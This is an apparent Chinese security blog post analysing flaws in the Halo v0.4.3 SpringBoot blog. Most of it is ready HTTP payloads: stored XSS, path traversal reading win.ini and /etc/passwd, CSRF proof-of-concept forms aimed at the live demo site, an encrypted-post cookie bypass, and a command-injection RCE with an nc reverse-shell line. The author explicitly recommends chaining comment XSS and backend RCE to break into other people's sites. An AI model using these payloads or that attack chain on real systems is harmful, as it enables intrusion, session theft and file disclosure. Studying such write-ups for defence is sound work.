SpringBoot 学习 | raibaby Halo v0.4.3 漏洞分析-Ali0th
Author : Ali0th
Date : 2019-4-30
看到 Halo 0.4.3 Issue 上还挺多漏洞的,而且作者打算写新的版本,目前的版本大部分都还没修。这个漏洞还是有点多的,不过大部分都是后台漏洞。
这个是一个 Java SpringBoot 写的 Web 博客应用,相关部署和源码分析可以见我的其它文章。
如果要渗透别人的网站,可以先使用评论处存储型XSS,获取到管理员 session 后,再使用命令执行 后台远程命令执行 即可。
@[TOC]
后台记录IP存储型XSS
These is A stored xss vulnerability #126
是一个后台的存储型XSS,因为记录后台登录IP和X-Forwarded-For
,然后展示导致的。
github.com/halo-dev/ha…
payload:
POST /admin/getLogin HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost:8090/admin/login
Content-Length: 35
Cookie: bdshare_firstime=1510813887603; pgv_pvi=3523200000; sYQDUGqqzHsearch_history=1%7C1; JSESSIONID=NXqZ4ZvU0g-GNZTh9oOlem8hWQVJFTfWZDGL5Y7K
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
X-Forwarded-For: 127.<img src=1 onerror=alert(123)>0.0.2loginName=admin&loginPwd=adminadmin
复制代码
密码错误提示XSS(已修复)
密码错误时,返回了密码内容无过滤,这个是POST型XSS。
try {User aUser = userService.findUser();...} catch (Exception e) {Integer errorCount = userService.updateUserLoginError();if (errorCount >= 5) {userService.updateUserLoginEnable("false");}userService.updateUserLoginLast(new Date());logsService.saveByLogs(new Logs(LogsRecord.LOGIN, LogsRecord.LOGIN_ERROR + "[" + loginName + "," + loginPwd + "]", HaloUtil.getIpAddr(request), new Date()));log.error("登录失败!:{0}", e.getMessage());}
复制代码
payload:
POST /admin/getLogin HTTP/1.1
Host: localhost:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://localhost:8090/admin/login
Content-Length: 77
Cookie: bdshare_firstime=1510813887603; pgv_pvi=3523200000; sYQDUGqqzHsearch_history=1%7C1; JSESSIONID=NXqZ4ZvU0g-GNZTh9oOlem8hWQVJFTfWZDGL5Y7K
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cacheloginName=admin&loginPwd=adminadmin<a href="javascript:alert(/xss/);">xss</a>
复制代码
修复后:
//更新失败次数
final Integer errorCount = userService.updateUserLoginError();
//超过五次禁用账户
if (errorCount >= CommonParamsEnum.FIVE.getValue()) {userService.updateUserLoginEnable(TrueFalseEnum.FALSE.getDesc());
}
logsService.save(LogsRecord.LOGIN, LogsRecord.LOGIN_ERROR + "[" + HtmlUtil.escape(loginName) + "," + HtmlUtil.escape(loginPwd) + "]", request);
final Object[] args = {(5 - errorCount)};
return new JsonResult(ResultCodeEnum.FAIL.getCode(), localeMessageUtil.getMessage("code.admin.login.failed", args));
复制代码
加入了HtmlUtil.escape()
方法过滤。
评论处存储型XSS
评论处存储型XSS,可以提交到后台,让后台管理者受到XSS攻击。
文件位置:cc.ryanc.halo.web.controller.front.FrontCommentController
comment.setCommentAuthorEmail(HtmlUtil.escape(comment.getCommentAuthorEmail()).toLowerCase());
// code ...
comment.setCommentAuthor(HtmlUtil.escape(comment.getCommentAuthor()));
// code ...//将评论内容的字符专为安全字符comment.setCommentContent(OwoUtil.markToImg(HtmlUtil.escape(comment.getCommentContent()).replace("<br/>", "<br/>")));
}
if (StrUtil.isNotEmpty(comment.getCommentAuthorUrl())) {comment.setCommentAuthorUrl(URLUtil.normalize(comment.getCommentAuthorUrl()));
}
复制代码
可以看到,提交评论处对大部分参数值有使用HtmlUtil.escap
进行过滤,但是对getCommentAuthorUrl
没有过滤。
payload:
POST /newComment HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8090/archives/hello-halo
Content-Length: 241
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cachepostId=3&commentContent=ali0th+say+hi&commentAuthor=ali0th&commentAuthorEmail=ali0th%40test.com&commentAuthorUrl=www.ali0th.com"><img src=1 onerror=alert(123)>&commentAgent=Mozilla%2F5.0+(Windows+NT+6.3%3B+WOW64%3B+rv%3A27.0)+Gecko%2F20100101+Firefox%2F27.0&commentParent=0
复制代码
github.com/halo-dev/ha…
后台任意文件下载
将备份发送到邮箱
处,使用拼接的方式加载文件,然后发到邮件,导致任意文件下载。
文件位置:cc.ryanc.halo.web.controller.admin.BackupController
System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName;
// code...
new EmailToAdmin(srcPath, user).start();
复制代码
payload:
因为我在 win 环境,所以这里包含c:/windows/win.ini
GET /admin/backup/sendToEmail?type=../../../../../../&fileName=c:/windows/win.ini HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8090/admin/backup?type=resources
Cookie: JSESSIONID=OtSpPq_v8fXROoZ5mFT3DbjeIs07ud8kk6VyMh5U
Connection: keep-alive
复制代码
github.com/halo-dev/ha…
后台远程命令执行
在线拉取主题功能,使用 git clone 接取主题。
文件位置:cc.ryanc.halo.web.controller.admin.ThemeController
final String cmdResult = RuntimeUtil.execForStr("git clone " + remoteAddr + " " + themePath.getAbsolutePath() + "/" + themeName);
复制代码
使用拼接的形式构造命令,并使用RuntimeUtil.execForStr
执行。
我这是win下,所以使用下面命令
# 监听
nc -l -p 12345 -v
# 反弹命令
nc.exe -e cmd.exe 127.0.0.1 12345
复制代码
github.com/halo-dev/ha…
后台任意文件删除
在删除备份文件处,使用拼接方式组装路径。
文件位置:cc.ryanc.halo.web.controller.admin.BackupController
final String srcPath = System.getProperties().getProperty("user.home") + "/halo/backup/" + type + "/" + fileName;
// code ...
FileUtil.del(srcPath);
复制代码
github.com/halo-dev/ha…
后台添加标签处XSS与CSRF
添加标签处基本没有过滤。
文件位置:cc.ryanc.halo.web.controller.admin.TagController
final Tag tempTag = tagService.findByTagUrl(tag.getTagUrl());
// code ...
tag = tagService.create(tag);
复制代码
没有太多的处理,对 tagName 则完全没有处理。
CSRF payload:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form action="https://demo.halo.run/admin/tag/save" method="POST"><input type="hidden" name="tagName" value="<script>alert(1)</script>" /><input type="hidden" name="tagUrl" value="123" /><input type="submit" value="Submit request" /></form></body>
</html>
复制代码
XSS payload:
POST /admin/tag/save HTTP/1.1
Host: demo.halo.run
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://demo.halo.run/admin/tag
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 54
Connection: close
Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20
Pragma: no-cache
Cache-Control: no-cachetagName=%3Cscript%3Ealert(1)%3C%2Fscript%3E&tagUrl=123
复制代码
github.com/halo-dev/ha…
后台文章发表处CSRF
大部分位置均有 CSRF。这里就不分析了。
payload:
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form action="https://demo.halo.run/admin/posts/save" method="POST"><input type="hidden" name="postStatus" value="0" /><input type="hidden" name="postTitle" value="test" /><input type="hidden" name="postUrl" value="1554359315872" /><input type="hidden" name="postContentMd" value="test123" /><input type="hidden" name="postThumbnail" value="/static/halo-frontend/images/thumbnail/thumbnail.png" /><input type="hidden" name="cateList" value="" /><input type="hidden" name="tagList" value="" /><input type="hidden" name="allowComment" value="1" /><input type="hidden" name="postPassword" value="" /><input type="submit" value="Submit request" /></form></body>
</html>
复制代码
github.com/halo-dev/ha…
后台主题编辑处存在任意文件读取
使用 append 方法拼接路径,没有对输入的参数值过滤,导致任意文件读取。
文件位置:cc.ryanc.halo.web.controller.admin.ThemeController
//获取项目根路径
final File basePath = new File(ResourceUtils.getURL("classpath:").getPath());
//获取主题路径
final StrBuilder themePath = new StrBuilder("templates/themes/");
themePath.append(BaseController.THEME);
themePath.append("/");
themePath.append(tplName);
final File themesPath = new File(basePath.getAbsolutePath(), themePath.toString());
final FileReader fileReader = new FileReader(themesPath);
tplContent = fileReader.readString();
复制代码
payload:
GET /admin/themes/getTpl?tplName=../../../../../../../../etc/passwd HTTP/1.1
Host: demo.halo.run
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://demo.halo.run/admin/themes/editor
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: JSESSIONID=7pY4KPxPbsy7pPOuJ_5OghgiMpv14yT9XbfW_p20
复制代码
github.com/halo-dev/ha…
前台突破加密文章权限
只判断了是否有传入 cookie ,没有判断是密码是否正确。只要拦截包,然后修改 cookie 即可。
(这一个漏洞我没有复现成功,很奇怪,先搁置)
文件位置:cc.ryanc.halo.web.controller.front.FrontArchiveController
//判断文章是否有加密
if (StrUtil.isNotEmpty(post.getPostPassword())) {Cookie cookie = ServletUtil.getCookie(request, "halo-post-password-" + post.getPostId());if (null == cookie) {post.setPostSummary("该文章为加密文章");post.setPostContent("<form id=\"postPasswordForm\" method=\"post\" action=\"/archives/verifyPostPassword\"><p>该文章为加密文章,输入正确的密码即可访问。</p><input type=\"hidden\" id=\"postId\" name=\"postId\" value=\"" + post.getPostId() + "\"> <input type=\"password\" id=\"postPassword\" name=\"postPassword\"> <input type=\"submit\" id=\"passwordSubmit\" value=\"提交\"></form>");}
}// code ...// 验证密码成功添加cookieif (SecureUtil.md5(postPassword).equals(post.getPostPassword())) {ServletUtil.addCookie(response, "halo-post-password-" + post.getPostId(), SecureUtil.md5(postPassword));}
复制代码
payload:
HTTP/1.1 302 Found
Server: nginx/1.15.8
Date: Thu, 04 Apr 2019 15:02:04 GMT
Content-Length: 0
Connection: keep-alive
Location: 127.0.0.1:8090/archives/hello-halo
Content-Language: zh-CN
Set-Cookie: halo-post-password-3=fae0b27c451c728867a567e8c1bb4e746
Strict-Transport-Security: max-age=31536000
复制代码
github.com/halo-dev/ha…
资料
Halo 漏洞 Issues
SpringBoot 学习 | raibaby Halo v0.4.3 漏洞分析-Ali0th相关推荐
- SpringBoot 学习 | raibaby halo 之安装部署 - Ali0th
Author : Ali0th Date : 2019-4-30 @[TOC] 前言 作为多语言开发者,怎么可以不会 Java 呢?有人推荐 raibaby halo 来学习 SpringBoot , ...
- SpringBoot 学习笔记
SpringBoot 学习笔记 文章目录 SpringBoot 学习笔记 1. SpringBoot简介 1.1 什么是Spring 1.2 Spring 是如何简化Java开发的 1.3 什么是 S ...
- 狂神说——SpringBoot学习
spring官网 SpringBoot官网 spring-security版本下载 狂神官网学习 也可以搜索B站 (狂神说) 学习网站:https://www.bilibili.com/video/B ...
- springboot学习笔记:12.解决springboot打成可执行jar在linux上启动慢的问题
springboot学习笔记:12.解决springboot打成可执行jar在linux上启动慢的问题 参考文章: (1)springboot学习笔记:12.解决springboot打成可执行jar在 ...
- SpringBoot学习笔记(3):静态资源处理
SpringBoot学习笔记(3):静态资源处理 在web开发中,静态资源的访问是必不可少的,如:Html.图片.js.css 等资源的访问. Spring Boot 对静态资源访问提供了很好的支持, ...
- 目录:SpringBoot学习目录
SpringBoot配套源码地址:gitee.com/hengboy/spr- SpringCloud配套源码地址:gitee.com/hengboy/spr- SpringBoot相关系列文章请访问 ...
- springboot学习笔记(五)
一丶注值方式 1.在application.properties文件中注值 首先我们将application.yml中的学生名字和年龄给注释掉,来验证在applic.properties的注值方式. ...
- SpringBoot学习笔记(4)----SpringBoot中freemarker、thymeleaf的使用
1. freemarker引擎的使用 如果你使用的是idea或者eclipse中安装了sts插件,那么在新建项目时就可以直接指定试图模板 如图: 勾选freeMarker,此时springboot项目 ...
- SpringBoot学习笔记(16):单元测试
SpringBoot学习笔记(16):单元测试 单元测试 单元测试(英语:Unit Testing)又称为模块测试,是针对程序模块(软件设计的最小单位)来进行正确性检验的测试工作.程序单元是应用的最小 ...
最新文章
- 表间数据复制--SELECT表中的数据插入到新的表中(ORACLE,MSSQL)
- 【excrt】屠龙勇士(luogu 4774)
- DOCKER-COMPOSE搭建MONGODB分片集群(单机版)
- 互联网职场红利真的不多了~
- 【优化算法】非支配排序遗传算法(NSGA)【含Matlab源码 176期】
- 使用Idea进行Junit单元测试
- uni-app开发语音提示推送功能
- Linux.2- shell命令(部分)
- WPF入门一:搭建WPF的开发环境
- 配置软路由-同时连接内网和外网
- Advanced COM Interop
- 嵌入式软件测试——1.简介
- JKS 密钥库使用专用格式。建议使用 “xxx“ 迁移到行业标准格式 PKCS12
- AI帮我画出了小说里的人物,我这么多年的小说好像白看了。。。
- Windows 8安装软件时遇到运行时错误‘339’ MSCOMCTL.ocx或其附件之一未注册
- HDU 2094 产生冠军
- outlook邮件搜索方法与技巧
- 时间紧资金少人才缺?8位产业专家带你破局AI智能化升级
- 用Beautiful Soup进行屏幕抓取
- 知识图谱:知识表示方法的思维导图